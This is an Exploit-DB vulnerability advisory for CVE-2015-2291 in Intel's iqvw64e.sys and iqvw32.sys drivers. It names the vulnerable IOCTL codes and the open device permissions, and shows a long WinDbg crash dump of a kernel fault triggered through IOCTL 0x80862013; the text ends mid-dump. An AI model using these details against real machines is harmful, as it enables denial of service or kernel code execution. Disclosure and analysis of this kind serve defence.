Intel Network Adapter Diagnostic Driver - IOCTL Handling

EDB-ID:

36392




Platform:

Windows

Date:

2015-03-14


/*

Intel Network Adapter Diagnostic Driver IOCTL Handling Vulnerability
Vendor: Intel
Product webpage: http://www.intel.com
Affected product(s):
	Network Adapter Driver for Windows XP
	Network Adapter Driver for Windows 7
	Network Adapter Driver for Windows 8
	Network Adapter Driver for Windows 2008/R2
	Network Adapter Driver for Windows 2012/R2
Affected version(s): 
	Intel(R) iQVW64.SYS v1.03.0.7
	Intel(R) iQVW32.SYS v1.03.0.7
Tested Operating systems:
	Windows XP SP3 (32-bit)
	Windows 7 SP1 (32/64-bit)
Date: 14/03/2015
Credits: Glafkos Charalambous
CVE: CVE-2015-2291

Disclosure Timeline:
10-06-2014: Vendor Notification
21-06-2014: Vendor Response/Feedback
08-08-2014: Vendor Response/Feedback
26-08-2014: Requesting Status/No Vendor Response
30-09-2014: Requesting Status/No Vendor Response
22-10-2014: Requesting Status/No Vendor Response
10-01-2015: Requesting Status/No Vendor Response
15-01-2015: Requesting Status/No Vendor Response
14-03-2015: CVE Requested
14-03-2015: CVE Assigned
14-03-2015: Public Disclosure

Description:
A vulnerability in iqvw32.sys and iqvw64e.sys drivers has been discovered in Intel Network Adapter Driver.

The vulnerability exists due to insuffiecient input buffer validation when the driver processes IOCTL codes 0x80862013, 
0x8086200B, 0x8086200F, 0x80862007 using METHOD_NEITHER and due to insecure permissions allowing everyone read and write 
access to privileged use only functionality.

Attackers can exploit this issue to cause a Denial of Service or possibly execute arbitrary code in kernel space.


IOCTL 0x80862013
----------------
Microsoft (R) Windows Debugger Version 6.2.9200.20512 AMD64
Copyright (c) Microsoft Corporation. All rights reserved.

Opened \\.\pipe\com_2
Waiting to reconnect...
Connected to Windows 7 7601 x64 target at (Thu Feb 26 18:33:59.291 2015 (UTC + 2:00)), ptr64 TRUE
Kernel Debugger connection established.
Symbol search path is: srv*k:\symbols*http://msdl.microsoft.com/download/symbols;SRV*C:\Users\0x414141\AppData\Local\Temp\symbols\google*http://chromium-browser-symsrv.commondatastorage.googleapis.com;SRV*C:\Users\0x414141\AppData\Local\Temp\symbols\microsoft*http://msdl.microsoft.com/download/symbols
Executable search path is: 
Windows 7 Kernel Version 7601 MP (1 procs) Free x64
Built by: 7601.18700.amd64fre.win7sp1_gdr.141211-1742
Machine Name:
Kernel base = 0xfffff800`03655000 PsLoadedModuleList = 0xfffff800`03898890
System Uptime: not available
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x0000003b
                       (0x00000000C0000005,0xFFFFF88005A0BFD2,0xFFFFF8800653A9C0,0x0000000000000000)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Connected to Windows 7 7601 x64 target at (Thu Feb 26 20:29:05.978 2015 (UTC + 2:00)), ptr64 TRUE
Loading Kernel Symbols
...............................................................
................................................................
...............................
Loading User Symbols
.....
Loading unloaded module list
....Unable to enumerate user-mode unloaded modules, Win32 error 0n30
Loading Wow64 Symbols
.....
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

Use !analyze -v to get detailed debugging information.

BugCheck 3B, {c0000005, fffff88005a0bfd2, fffff8800653a9c0, 0}

*** ERROR: Module load completed but symbols could not be loaded for iqvw64e.sys

Followup: MachineOwner
---------

nt!RtlpBreakWithStatusInstruction:
fffff800`036c3cb0 cc              int     3
3: kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff88005a0bfd2, Address of the instruction which caused the bugcheck
Arg3: fffff8800653a9c0, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.

Debugging Details:
------------------

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

FAULTING_IP: 
iqvw64e+3fd2
fffff880`05a0bfd2 488b11          mov     rdx,qword ptr [rcx]

CONTEXT:  fffff8800653a9c0 -- (.cxr 0xfffff8800653a9c0)
rax=0000f88005a696d1 rbx=0000000000000001 rcx=00000000deadbeef
rdx=0000000080862013 rsi=fffffa804d1084d0 rdi=00000000deadbeef
rip=fffff88005a0bfd2 rsp=fffff8800653b3a0 rbp=fffff8800653bb60
 r8=fffffa804b0f4d70  r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=0000000000000003 r13=0000000000000001
r14=0000000000000001 r15=fffffa804aac7b00
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
iqvw64e+0x3fd2:
fffff880`05a0bfd2 488b11          mov     rdx,qword ptr [rcx] ds:002b:00000000`deadbeef=????????????????
Resetting default scope

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0x3B

PROCESS_NAME:  ConsoleApplica

CURRENT_IRQL:  2

LAST_CONTROL_TRANSFER:  from fffff88005a091ac to fffff88005a0bfd2

STACK_TEXT:  
fffff880`0653b3a0 fffff880`05a091ac : fffffa80`4aac7b00 00000000`00000001 fffffa80`4d1084d0 fffffa80`4d01e160 : iqvw64e+0x3fd2
fffff880`0653b8a0 fffff800`039e80f7 : 00000000`80862013 fffff880`0653bb60 fffffa80`4d1084d0 fffffa80`4d01e160 : iqvw64e+0x11ac
fffff880`0653b8d0 fffff800`039e8956 : fffff680`003b5ee8 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0x607
fffff880`0653ba00 fffff800`036cb113 : 00000000`0021df01 0000007f`ffffffff 00000000`0021df00 00000980`00000000 : nt!NtDeviceIoControlFile+0x56
fffff880`0653ba70 00000000`73b02e09 : 00000000`73b02944 00000000`775a01b4 00000000`73b70023 00000000`00000246 : nt!KiSystemServiceCopyEnd+0x13
00000000`0021e898 00000000`73b02944 : 00000000`775a01b4 00000000`73b70023 00000000`00000246 00000000`001dff7c : wow64cpu!CpupSyscallStub+0x9
00000000`0021e8a0 00000000`73b7d286 : 00000000`00000000 00000000`73b01920 00000000`0021eb30 00000000`773decf1 : wow64cpu!DeviceIoctlFileFault+0x31
00000000`0021e960 00000000`73b7c69e : 00000000`00000000 00000000`00000000 00000000`73b74b10 00000000`7ffe0030 : wow64!RunCpuSimulation+0xa
00000000`0021e9b0 00000000`773f4966 : 00000000`003331f0 00000000`00000000 00000000`774e2670 00000000`774b5978 : wow64!Wow64LdrpInitialize+0x42a
00000000`0021ef00 00000000`773f1937 : 00000000`00000000 00000000`773f4071 00000000`0021f4b0 00000000`00000000 : ntdll!LdrpInitializeProcess+0x17e3
00000000`0021f3f0 00000000`773dc34e : 00000000`0021f4b0 00000000`00000000 00000000`7efdf000 00000000`00000000 : ntdll! ?? ::FNODOBFM::`string'+0x28ff0
00000000`0021f460 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!LdrInitializeThunk+0xe


FOLLOWUP_IP: 
iqvw64e+3fd2
fffff880`05a0bfd2 488b11          mov     rdx,qword ptr [rcx]

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  iqvw64e+3fd2

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: iqvw64e

IMAGE_NAME:  iqvw64e.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  5284eac3

STACK_COMMAND:  .cxr 0xfffff8800653a9c0 ; kb

FAILURE_BUCKET_ID:  X64_0x3B_iqvw64e+3fd2

BUCKET_ID:  X64_0x3B_iqvw64e+3fd2

Followup: MachineOwner
---------

3: kd> u fffff880`05a0bfd2
iqvw64e+0x3fd2:
fffff880`05a0bfd2 488b11          mov     rdx,qword ptr [rcx]
fffff880`05a0bfd5 488d0d14160000  lea     rcx,[iqvw64e+0x55f0 (fffff880`05a0d5f0)]
fffff880`05a0bfdc e84fdfffff      call    iqvw64e+0x1f30 (fffff880`05a09f30)
fffff880`05a0bfe1 488b17          mov     rdx,qword ptr [rdi]
fffff880`05a0bfe4 488d42ff        lea     rax,[rdx-1]
fffff880`05a0bfe8 4883f807        cmp     rax,7
fffff880`05a0bfec 0f8718020000    ja      iqvw64e+0x420a (fffff880`05a0c20a)
fffff880`05a0bff2 488d0d07c0ffff  lea     rcx,[iqvw64e (fffff880`05a08000)]

3: kd> !for_each_frame .frame /r @$Frame
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
00 fffff880`06539988 fffff800`037bba62 nt!RtlpBreakWithStatusInstruction
00 fffff880`06539988 fffff800`037bba62 nt!RtlpBreakWithStatusInstruction
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=000000000000008a rsi=fffffa804c800060 rdi=00000000c0000000
rip=fffff800036c3cb0 rsp=fffff88006539988 rbp=0000000000000000
 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=000000000000003b r13=0000000000000001
r14=0000000040000082 r15=0000000000000003
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
nt!RtlpBreakWithStatusInstruction:
fffff800`036c3cb0 cc              int     3
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
01 fffff880`06539990 fffff800`037bc84e nt!KiBugCheckDebugBreak+0x12
01 fffff880`06539990 fffff800`037bc84e nt!KiBugCheckDebugBreak+0x12
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=000000000000008a rsi=fffffa804c800060 rdi=00000000c0000000
rip=fffff800037bba62 rsp=fffff88006539990 rbp=0000000000000000
 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=000000000000003b r13=0000000000000001
r14=0000000040000082 r15=0000000000000003
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
nt!KiBugCheckDebugBreak+0x12:
fffff800`037bba62 eb75            jmp     nt!KiBugCheckDebugBreak+0x89 (fffff800`037bbad9)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
02 fffff880`065399f0 fffff800`036cbf84 nt!KeBugCheck2+0x71e
02 fffff880`065399f0 fffff800`036cbf84 nt!KeBugCheck2+0x71e
rax=0000000000000000 rbx=0000000000000065 rcx=0000000000000003
rdx=000000000000008a rsi=fffffa804c800060 rdi=00000000c0000000
rip=fffff800037bc84e rsp=fffff880065399f0 rbp=0000000000000000
 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=000000000000003b r13=0000000000000001
r14=0000000040000082 r15=0000000000000003
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
nt!KeBugCheck2+0x71e:
fffff800`037bc84e eb11            jmp     nt!KeBugCheck2+0x731 (fffff800`037bc861)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
03 fffff880`0653a0c0 fffff800`036cb429 nt!KeBugCheckEx+0x104
03 fffff880`0653a0c0 fffff800`036cb429 nt!KeBugCheckEx+0x104
rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
rip=fffff800036cbf84 rsp=fffff8800653a0c0 rbp=0000000000000000
 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
r14=fffff800036cad00 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
nt!KeBugCheckEx+0x104:
fffff800`036cbf84 90              nop
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
04 fffff880`0653a100 fffff800`036cad7c nt!KiBugCheckDispatch+0x69
04 fffff880`0653a100 fffff800`036cad7c nt!KiBugCheckDispatch+0x69
rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
rip=fffff800036cb429 rsp=fffff8800653a100 rbp=0000000000000000
 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
r14=fffff800036cad00 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
nt!KiBugCheckDispatch+0x69:
fffff800`036cb429 90              nop
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
05 fffff880`0653a240 fffff800`036f6a4d nt!KiSystemServiceHandler+0x7c
05 fffff880`0653a240 fffff800`036f6a4d nt!KiSystemServiceHandler+0x7c
rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
rip=fffff800036cad7c rsp=fffff8800653a240 rbp=0000000000000000
 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
r14=fffff800036cad00 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
nt!KiSystemServiceHandler+0x7c:
fffff800`036cad7c b801000000      mov     eax,1
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
06 fffff880`0653a280 fffff800`036f5825 nt!RtlpExecuteHandlerForException+0xd
06 fffff880`0653a280 fffff800`036f5825 nt!RtlpExecuteHandlerForException+0xd
rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
rip=fffff800036f6a4d rsp=fffff8800653a280 rbp=0000000000000000
 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
r14=fffff800036cad00 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
nt!RtlpExecuteHandlerForException+0xd:
fffff800`036f6a4d 90              nop
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
07 fffff880`0653a2b0 fffff800`037067b1 nt!RtlDispatchException+0x415
07 fffff880`0653a2b0 fffff800`037067b1 nt!RtlDispatchException+0x415
rax=0000000000000000 rbx=fffff8000381a9e4 rcx=0000000000000003
rdx=000000000000008a rsi=fffff80003655000 rdi=0000000000000000
rip=fffff800036f5825 rsp=fffff8800653a2b0 rbp=0000000000000000
 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=fffff800036cb113 r13=fffff800038d8c54
r14=fffff800036cad00 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
nt!RtlDispatchException+0x415:
fffff800`036f5825 0fba257fc51d0017 bt      dword ptr [nt!NtGlobalFlag (fffff800`038d1dac)],17h
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
08 fffff880`0653a990 fffff800`036cb502 nt!KiDispatchException+0x135
08 fffff880`0653a990 fffff800`036cb502 nt!KiDispatchException+0x135
rax=0000000000000000 rbx=fffff8800653b168 rcx=0000000000000003
rdx=000000000000008a rsi=fffff8800653b210 rdi=00000000deadbeef
rip=fffff800037067b1 rsp=fffff8800653a990 rbp=fffff8800653aec0
 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=fffff8800653a9c0 r13=000000000010001f
r14=fffff8800653b030 r15=fffffa804aac7b00
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
nt!KiDispatchException+0x135:
fffff800`037067b1 84c0            test    al,al
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
09 fffff880`0653b030 fffff800`036ca07a nt!KiExceptionDispatch+0xc2
09 fffff880`0653b030 fffff800`036ca07a nt!KiExceptionDispatch+0xc2
rax=0000000000000000 rbx=0000000000000001 rcx=0000000000000003
rdx=000000000000008a rsi=fffffa804d1084d0 rdi=00000000deadbeef
rip=fffff800036cb502 rsp=fffff8800653b030 rbp=fffff8800653b290
 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=0000000000000003 r13=0000000000000001
r14=0000000000000001 r15=fffffa804aac7b00
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
nt!KiExceptionDispatch+0xc2:
fffff800`036cb502 488d8c2400010000 lea     rcx,[rsp+100h]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0a fffff880`0653b210 fffff880`05a0bfd2 nt!KiPageFault+0x23a
0a fffff880`0653b210 fffff880`05a0bfd2 nt!KiPageFault+0x23a
rax=0000000000000000 rbx=0000000000000001 rcx=0000000000000003
rdx=000000000000008a rsi=fffffa804d1084d0 rdi=00000000deadbeef
rip=fffff800036ca07a rsp=fffff8800653b210 rbp=fffff8800653b290
 r8=0000000000000065  r9=0000000000000000 r10=0000000000000000
r11=fffff88006539610 r12=0000000000000003 r13=0000000000000001
r14=0000000000000001 r15=fffffa804aac7b00
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
nt!KiPageFault+0x23a:
fffff800`036ca07a 440f20c0        mov     rax,cr8
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0b fffff880`0653b3a0 fffff880`05a091ac iqvw64e+0x3fd2
0b fffff880`0653b3a0 fffff880`05a091ac iqvw64e+0x3fd2
rax=0000f88005a696d1 rbx=0000000000000001 rcx=00000000deadbeef
rdx=0000000080862013 rsi=fffffa804d1084d0 rdi=00000000deadbeef
rip=fffff88005a0bfd2 rsp=fffff8800653b3a0 rbp=fffff8800653bb60
 r8=fffffa804b0f4d70  r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=0000000000000003 r13=0000000000000001
r14=0000000000000001 r15=fffffa804aac7b00
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
iqvw64e+0x3fd2:
fffff880`05a0bfd2 488b11          mov     rdx,qword ptr [rcx]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0c fffff880`0653b8a0 fffff800`039e80f7 iqvw64e+0x11ac
0c fffff880`0653b8a0 fffff800`039e80f7 iqvw64e+0x11ac
rax=0000f88005a696d1 rbx=fffffa804d1084d0 rcx=00000000deadbeef
rdx=0000000080862013 rsi=fffffa804d1084d0 rdi=fffffa804d01e160
rip=fffff88005a091ac rsp=fffff8800653b8a0 rbp=fffff8800653bb60
 r8=fffffa804b0f4d70  r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=0000000000000003 r13=0000000000000001
r14=0000000000000001 r15=fffffa804aac7b00
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
iqvw64e+0x11ac:
fffff880`05a091ac 8bd8            mov     ebx,eax
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0d fffff880`0653b8d0 fffff800`039e8956 nt!IopXxxControlFile+0x607
0d fffff880`0653b8d0 fffff800`039e8956 nt!IopXxxControlFile+0x607
rax=0000f88005a696d1 rbx=fffffa804d1084d0 rcx=00000000deadbeef
rdx=0000000080862013 rsi=fffffa804d1084d0 rdi=fffffa804d01e160
rip=fffff800039e80f7 rsp=fffff8800653b8d0 rbp=fffff8800653bb60
 r8=fffffa804b0f4d70  r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=0000000000000003 r13=0000000000000001
r14=0000000000000001 r15=fffffa804aac7b00
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
nt!IopXxxControlFile+0x607:
fffff800`039e80f7 448be0          mov     r12d,eax
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0e fffff880`0653ba00 fffff800`036cb113 nt!NtDeviceIoControlFile+0x56
0e fffff880`0653ba00 fffff800`036cb113 nt!NtDeviceIoControlFile+0x56
rax=0000f88005a696d1 rbx=fffffa804c800060 rcx=00000000deadbeef
rdx=0000000080862013 rsi=000000000021e8b8 rdi=fffff8800653ba88
rip=fffff800039e8956 rsp=fffff8800653ba00 rbp=fffff8800653bb60
 r8=fffffa804b0f4d70  r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=000000007efdb000 r13=000000000021fd20
r14=000000000021e910 r15=0000000073b02450
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
nt!NtDeviceIoControlFile+0x56:
fffff800`039e8956 4883c468        add     rsp,68h
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
0f fffff880`0653ba70 00000000`73b02e09 nt!KiSystemServiceCopyEnd+0x13
0f fffff880`0653ba70 00000000`73b02e09 nt!KiSystemServiceCopyEnd+0x13
rax=0000f88005a696d1 rbx=fffffa804c800060 rcx=00000000deadbeef
rdx=0000000080862013 rsi=000000000021e8b8 rdi=fffff8800653ba88
rip=fffff800036cb113 rsp=fffff8800653ba70 rbp=fffff8800653bb60
 r8=fffffa804b0f4d70  r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=000000007efdb000 r13=000000000021fd20
r14=000000000021e910 r15=0000000073b02450
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
nt!KiSystemServiceCopyEnd+0x13:
fffff800`036cb113 65ff042538220000 inc     dword ptr gs:[2238h]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
10 00000000`0021e898 00000000`73b02944 wow64cpu!CpupSyscallStub+0x9
10 00000000`0021e898 00000000`73b02944 wow64cpu!CpupSyscallStub+0x9
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
rdx=0000000080862013 rsi=0000000000000000 rdi=0000000000000034
rip=0000000073b02e09 rsp=000000000021e898 rbp=00000000001dfe68
 r8=fffffa804b0f4d70  r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=000000007efdb000 r13=000000000021fd20
r14=000000000021e910 r15=0000000073b02450
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
wow64cpu!CpupSyscallStub+0x9:
00000000`73b02e09 c3              ret
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
11 00000000`0021e8a0 00000000`73b7d286 wow64cpu!DeviceIoctlFileFault+0x31
11 00000000`0021e8a0 00000000`73b7d286 wow64cpu!DeviceIoctlFileFault+0x31
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
rdx=0000000080862013 rsi=0000000000000000 rdi=0000000000000034
rip=0000000073b02944 rsp=000000000021e8a0 rbp=00000000001dfe68
 r8=fffffa804b0f4d70  r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=000000007efdb000 r13=000000000021fd20
r14=000000000021e910 r15=0000000073b02450
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
wow64cpu!DeviceIoctlFileFault+0x31:
00000000`73b02944 488b4c2420      mov     rcx,qword ptr [rsp+20h]
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
12 00000000`0021e960 00000000`73b7c69e wow64!RunCpuSimulation+0xa
12 00000000`0021e960 00000000`73b7c69e wow64!RunCpuSimulation+0xa
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
rdx=0000000080862013 rsi=0000000000000002 rdi=000000000021f4b0
rip=0000000073b7d286 rsp=000000000021e960 rbp=000000000021e9d0
 r8=fffffa804b0f4d70  r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=000000000021fd20 r13=0000000000000000
r14=0000000000000001 r15=ffffffffffffffff
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
wow64!RunCpuSimulation+0xa:
00000000`73b7d286 eb00            jmp     wow64!RunCpuSimulation+0xc (00000000`73b7d288)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
13 00000000`0021e9b0 00000000`773f4966 wow64!Wow64LdrpInitialize+0x42a
13 00000000`0021e9b0 00000000`773f4966 wow64!Wow64LdrpInitialize+0x42a
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
rdx=0000000080862013 rsi=0000000000000002 rdi=000000000021f4b0
rip=0000000073b7c69e rsp=000000000021e9b0 rbp=000000000021e9d0
 r8=fffffa804b0f4d70  r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=000000000021fd20 r13=0000000000000000
r14=0000000000000001 r15=ffffffffffffffff
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
wow64!Wow64LdrpInitialize+0x42a:
00000000`73b7c69e cc              int     3
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
14 00000000`0021ef00 00000000`773f1937 ntdll!LdrpInitializeProcess+0x17e3
14 00000000`0021ef00 00000000`773f1937 ntdll!LdrpInitializeProcess+0x17e3
rax=0000f88005a696d1 rbx=0000000000000000 rcx=00000000deadbeef
rdx=0000000080862013 rsi=00000000774e2670 rdi=00000000774b5978
rip=00000000773f4966 rsp=000000000021ef00 rbp=00000000773b0000
 r8=fffffa804b0f4d70  r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=00000000774e2520 r13=0000000000000000
r14=00000000774e2650 r15=000000007efdf000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
ntdll!LdrpInitializeProcess+0x17e3:
00000000`773f4966 eb00            jmp     ntdll!LdrpInitializeProcess+0x1c12 (00000000`773f4968)
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
15 00000000`0021f3f0 00000000`773dc34e ntdll! ?? ::FNODOBFM::`string'+0x28ff0
15 00000000`0021f3f0 00000000`773dc34e ntdll! ?? ::FNODOBFM::`string'+0x28ff0
rax=0000f88005a696d1 rbx=000000007efdf000 rcx=00000000deadbeef
rdx=0000000080862013 rsi=000000007efdb000 rdi=0000000000000000
rip=00000000773f1937 rsp=000000000021f3f0 rbp=0000000000000000
 r8=fffffa804b0f4d70  r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=000000000021f4b0 r13=00000000773b0000
r14=0000000000000001 r15=000000007740a220
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
ntdll! ?? ::FNODOBFM::`string'+0x28ff0:
00000000`773f1937 89442430        mov     dword ptr [rsp+30h],eax
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
16 00000000`0021f460 00000000`00000000 ntdll!LdrInitializeThunk+0xe
16 00000000`0021f460 00000000`00000000 ntdll!LdrInitializeThunk+0xe
rax=0000f88005a696d1 rbx=000000000021f4b0 rcx=00000000deadbeef
rdx=0000000080862013 rsi=0000000000000000 rdi=0000000000000000
rip=00000000773dc34e rsp=000000000021f460 rbp=0000000000000000
 r8=fffffa804b0f4d70  r9=000000000000000e r10=0000000000000000
r11=fffff8800653b898 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
ntdll!LdrInitializeThunk+0xe:
00000000`773dc34e b201            mov     dl,1
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
00 fffff880`06539988 fffff800`037bba62 nt!RtlpBreakWithStatusInstruction

3: kd> dd fffff8800653b8d0
fffff880`0653b8d0  80862013 00000000 0653bb60 fffff880
fffff880`0653b8e0  4d1084d0 fffffa80 4d01e160 fffffa80
fffff880`0653b8f0  746c6644 00000000 0653b928 fffff880
fffff880`0653b900  0653b968 fffff880 00000000 00000000
fffff880`0653b910  00000000 00000000 00000001 00000000
fffff880`0653b920  4c804e01 00000000 4d1084d0 fffffa80
fffff880`0653b930  00000000 00000000 00000000 00000000
fffff880`0653b940  4d01e160 fffffa80 76bdd0af 00000000

3: kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS fffffa8048f5f740
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00187000  ObjectTable: fffff8a0000017f0  HandleCount: 535.
    Image: System
.
.
.

PROCESS fffffa804d0f29e0
    SessionId: 1  Cid: 0d9c    Peb: 7efdf000  ParentCid: 0afc
    DirBase: 1aac4b000  ObjectTable: fffff8a016893450  HandleCount:  13.
    Image: ConsoleApplication7.exe
.
.
.

3: kd> !handle fffffa804d0f29e0 7

PROCESS fffffa804d0f29e0
    SessionId: 1  Cid: 0d9c    Peb: 7efdf000  ParentCid: 0afc
    DirBase: 1aac4b000  ObjectTable: fffff8a016893450  HandleCount:  13.
    Image: ConsoleApplication7.exe

Handle table at fffff8a016893450 with 13 entries in use

Invalid Handle: 0x4d0f29e0

3: kd> !process fffffa804d0f29e0 f
PROCESS fffffa804d0f29e0
    SessionId: 1  Cid: 0d9c    Peb: 7efdf000  ParentCid: 0afc
    DirBase: 1aac4b000  ObjectTable: fffff8a016893450  HandleCount:  13.
